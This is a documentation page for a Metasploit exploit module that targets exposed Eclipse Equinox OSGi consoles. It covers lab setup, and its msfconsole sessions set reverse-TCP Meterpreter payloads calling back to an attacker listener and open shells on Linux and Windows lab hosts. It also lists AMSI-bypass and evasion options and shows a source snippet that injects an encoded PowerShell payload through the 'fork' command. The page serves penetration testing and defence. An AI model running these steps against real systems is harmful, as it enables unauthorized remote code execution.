Eclipse Equinox OSGi Console Command Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/osgi_console_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Eclipse Equinox OSGi Console Command Execution
Module: exploit/multi/misc/osgi_console_exec
Source code: modules/exploits/multi/misc/osgi_console_exec.rb
Disclosure date: 2018-02-13
Last modification time: 2021-04-23 11:39:14 +0000
Supported architecture(s): armle, aarch64, x86, x64
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Exploit Eclipse Equinox OSGi (Open Service Gateway initiative) console 'fork' command to execute arbitrary commands on the remote system.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/misc/osgi_console_exec
msf exploit(osgi_console_exec) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT: The target port
Knowledge Base
Vulnerable Application
Description
This module takes advantage of OSGi consoles exposed by some Java-based middleware servers.
The OSGi console is a telnet-based server that can be used for remote debugging and dynamic loading/removal of Java bundles running on an OSGi based server.
Test setup
Linux environment
Follow these steps to run the vulnerable application on a Linux host:
- Create a test environment directory
mkdir testenv && cd testenv
- Download the setup script
wget https://gist.githubusercontent.com/QKaiser/66c8a618eef2a7801c0bbb1aa43d724a/raw/e098f6ea31717311bd6ce5b3be94744dddfc2388/setup.sh
- Set appropriate permission
chmod +x setup.sh
- Execute setup script
./setup.sh
- Launch the vulnerable application with this command so it listens on port TCP/5555
java -jar org.eclipse.osgi.jar -console 5555
- Verify that the server is running, you should be prompted with
osgi>
telnet localhost 5555
- From the telnet console, enable the second second server. This one listens on port 2019 by default. Set the IP to an address linked to an external interface if attacker machine is on another host.
telnetd --ip=127.0.0.1 start
Windows environment
Follow these steps to run the vulnerable application on a Windows host:
- Download the Eclipse Equinox SDK from https://www.eclipse.org/downloads/download.php?file=/equinox/drops/R-Oxygen.2-201711300510/equinox-SDK-Oxygen.2.zip&r=1
- Create a test directory. Let's name it
osgi_test
for clarity. - Create a directory named
configuration
inosgi_test
- Create a file named
config.ini
in yourconfiguration
directory. The file should contain the following lines only:osgi.bundles=org.eclipse.equinox.console@start, org.apache.felix.gogo.command@start, org.apache.felix.gogo.shell@start, org.apache.felix.gogo.runtime@start eclipse.ignoreApp=true osgi.noShutdown=true
- Create an empty
plugins
directory inosgi_test
directory - Extract
plugins/org.apache.felix.gogo.command_(version).jar
from the SDK asorg.apache.felix.gogo.command.jar
inosgi_test
directory. - Extract
plugins/org.apache.felix.gogo.runtime_(version).jar
from the SDK asorg.apache.felix.gogo.runtime.jar
inosgi_test
directory. - Extract
plugins/org.apache.felix.gogo.shell_(version).jar
from the SDK asorg.apache.felix.gogo.shell.jar
inosgi_test
directory. - Extract
plugins/org.eclipse.equinox.console_(version).jar
from the SDK asorg.eclipse.equinox.console.jar
inosgi_test
directory. - Extract
plugins/org.eclipse.osgi_(version).jar
from the SDK asorg.eclipse.osgi.jar
inosgi_test
directory. - At the end of those steps, your
osgi_test
directory should contain the following items:. ├── configuration │ └── config.ini ├── org.apache.felix.gogo.command.jar ├── org.apache.felix.gogo.runtime.jar ├── org.apache.felix.gogo.shell.jar ├── org.eclipse.equinox.console.jar ├── org.eclipse.osgi.jar └── plugins
- Launch the vulnerable application with this command so it listens on port TCP/5555
java -jar org.eclipse.osgi.jar -console 5555
- Verify that the server is running, you should be prompted with
osgi>
telnet localhost 5555
- From the telnet console, enable the second second server. This one listens on port 2019 by default. Set the IP to an address linked to an external interface if attacker machine is on another host.
telnetd --ip=127.0.0.1 start
If you don't want to go through all those steps manually I recommend you to run the setup script on a Linux host, mount the directory on a Windows VM and start from step 11.
Verification Steps
You can verify the module against the vulnerable application with those steps:
- Install the application
- Start msfconsole
- Do:
use exploit/multi/misc/osgi_console_exec
- Do:
set RHOST 127.0.0.1
- Do:
set RPORT 5555
orset RPORT 2019
- Do:
check
. The target should appear vulnerable. - Do:
set payload
with the payload of your choosing. - Do:
run
- You should get a shell.
Options
TIME_WAIT - Time to wait for payload to be executed. The default value is set to 20 seconds.
Scenarios
Reverse shell on Linux host
Exploit running against a Ubuntu Linux target:
msf5 > use exploit/multi/misc/osgi_console_exec
msf5 exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.4
msf5 exploit(multi/misc/osgi_console_exec) > set RPORT 5555
msf5 exploit(multi/misc/osgi_console_exec) > set TARGET 0
msf5 exploit(multi/misc/osgi_console_exec) > set payload linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2
msf5 exploit(multi/misc/osgi_console_exec) > set LPORT 4444
msf5 exploit(multi/misc/osgi_console_exec) > run
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 172.20.10.2:4444
[*] 172.20.10.4:5555 - Accessing the OSGi console ...
[*] 172.20.10.4:5555 - Exploiting...
[*] Sending stage (857352 bytes) to 172.20.10.4
[*] 172.20.10.4:5555 - 172.20.10.4:5555 - Waiting for session...
[*] Meterpreter session 2 opened (172.20.10.2:4444 -> 172.20.10.4:39314) at 2018-02-14 19:17:39 +0100
[*] 172.20.10.4:5555 - Command Stager progress - 100.00% done (763/763 bytes)
msf5 exploit(multi/misc/osgi_console_exec) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : 172.20.10.4
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
Reverse shell on Windows host
Exploit running against a Windows 7 target:
msf5 > use exploit/multi/misc/osgi_console_exec
msf5 exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.3
msf5 exploit(multi/misc/osgi_console_exec) > set RPORT 5555
msf5 exploit(multi/misc/osgi_console_exec) > set TARGET 1
msf5 exploit(multi/misc/osgi_console_exec) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2
msf5 exploit(multi/misc/osgi_console_exec) > set LPORT 4444
msf5 exploit(multi/misc/osgi_console_exec) > run
[*] Exploit running as background job 2.
[*] Started reverse TCP handler on 172.20.10.2:4444
[*] 172.20.10.3:5555 - Accessing the OSGi console ...
[*] 172.20.10.3:5555 - Exploiting...
[*] 172.20.10.3:5555 - 172.20.10.3:5555 - Waiting for session...
[*] Sending stage (179779 bytes) to 172.20.10.3
[*] Meterpreter session 1 opened (172.20.10.2:4444 -> 172.20.10.3:49365) at 2018-02-14 19:14:15 +0100
msf5 exploit(multi/misc/osgi_console_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : PENTEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/osgi_console_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/osgi_console_exec
[*] No payload configured, defaulting to linux/aarch64/meterpreter/reverse_tcp
msf6 exploit(multi/misc/osgi_console_exec) > show info
Name: Eclipse Equinox OSGi Console Command Execution
Module: exploit/multi/misc/osgi_console_exec
Platform: Linux, Windows
Arch: armle, aarch64, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2018-02-13
Provided by:
Quentin Kaiser <[email protected]>
Available targets:
Id Name
-- ----
0 Linux (Bash Payload)
1 Windows (Powershell Payload)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT yes The target port (TCP)
TIME_WAIT 20 yes Time to wait for payload to be executed
Payload information:
Description:
Exploit Eclipse Equinox OSGi (Open Service Gateway initiative)
console 'fork' command to execute arbitrary commands on the remote
system.
References:
https://www.eclipse.org/equinox/documents/quickstart-framework.php
Module Options
This is a complete list of options available in the multi/misc/osgi_console_exec exploit:
msf6 exploit(multi/misc/osgi_console_exec) > show options
Module options (exploit/multi/misc/osgi_console_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT yes The target port (TCP)
TIME_WAIT 20 yes Time to wait for payload to be executed
Payload options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux (Bash Payload)
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/osgi_console_exec exploit:
msf6 exploit(multi/misc/osgi_console_exec) > show advanced
Module advanced options (exploit/multi/misc/osgi_console_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/osgi_console_exec module can exploit:
msf6 exploit(multi/misc/osgi_console_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Linux (Bash Payload)
1 Windows (Powershell Payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/osgi_console_exec exploit:
msf6 exploit(multi/misc/osgi_console_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/aarch64/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
6 payload/linux/aarch64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/aarch64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/aarch64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/aarch64/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
10 payload/linux/aarch64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
11 payload/linux/armle/exec normal No Linux Execute Command
12 payload/linux/armle/meterpreter/bind_tcp normal No Linux Meterpreter, Bind TCP Stager
13 payload/linux/armle/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
14 payload/linux/armle/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
15 payload/linux/armle/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
16 payload/linux/armle/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
17 payload/linux/armle/shell/bind_tcp normal No Linux dup2 Command Shell, Bind TCP Stager
18 payload/linux/armle/shell/reverse_tcp normal No Linux dup2 Command Shell, Reverse TCP Stager
19 payload/linux/armle/shell_bind_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/armle/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/x64/exec normal No Linux Execute Command
22 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
23 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
24 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
25 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
26 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
27 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
28 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
29 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
30 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
35 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
36 payload/linux/x86/chmod normal No Linux Chmod
37 payload/linux/x86/exec normal No Linux Execute Command
38 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
39 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
41 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
42 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
43 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
44 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
45 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
46 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
47 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
48 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
49 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
50 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
51 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
52 payload/linux/x86/read_file normal No Linux Read File
53 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
54 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
55 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
56 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
57 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
58 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
59 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
60 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
61 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
62 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
63 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
64 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
65 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
66 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/osgi_console_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/osgi_console_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Failed to access the OSGi console
Here is a relevant code snippet related to the "<PEER> - Failed to access the OSGi console" error message:
66: def exploit
67: begin
68: print_status("Accessing the OSGi console ...")
69:
70: unless check == Exploit::CheckCode::Vulnerable
71: fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")
72: end
73:
74: if target['Platform'] == "win" then
75: exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, {encode_final_payload: true, remove_comspec: true})}\"")
76: else
Go back to menu.
Related Pull Requests
- #15088 Merged Pull Request: Fix a typo in Eclipse Equinox product name
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9554 Merged Pull Request: Add module for Eclipse Equinoxe OSGi console RCE.
References
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/oscommerce_filemanager
- auxiliary/admin/http/typo3_winstaller_default_enc_keys
- exploit/windows/browser/real_arcade_installerdlg
- exploit/freebsd/webapp/spamtitan_unauth_rce
- exploit/linux/http/dlink_dir850l_unauth_exec
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/hadoop_unauth_exec
- exploit/linux/http/ibm_qradar_unauth_rce
- exploit/linux/http/klog_server_authenticate_user_unauth_command_injection
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/http/nuuo_nvrmini_unauth_rce
- exploit/linux/http/spark_unauth_rce
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
- exploit/windows/http/advantech_iview_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- exploit/multi/browser/firefox_tostring_console_injection
- exploit/multi/http/hyperic_hq_script_console
- exploit/multi/http/jenkins_script_console
- exploit/multi/http/metasploit_webui_console_command_execution
- exploit/multi/http/rails_web_console_v2_code_exec
- exploit/multi/misc/msf_rpc_console
- exploit/windows/browser/realplayer_console
- exploit/windows/browser/symantec_consoleutilities_browseandsavefile
- exploit/windows/http/oats_weblogic_console
- post/multi/gather/run_console_rc_file
Authors
- Quentin Kaiser <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.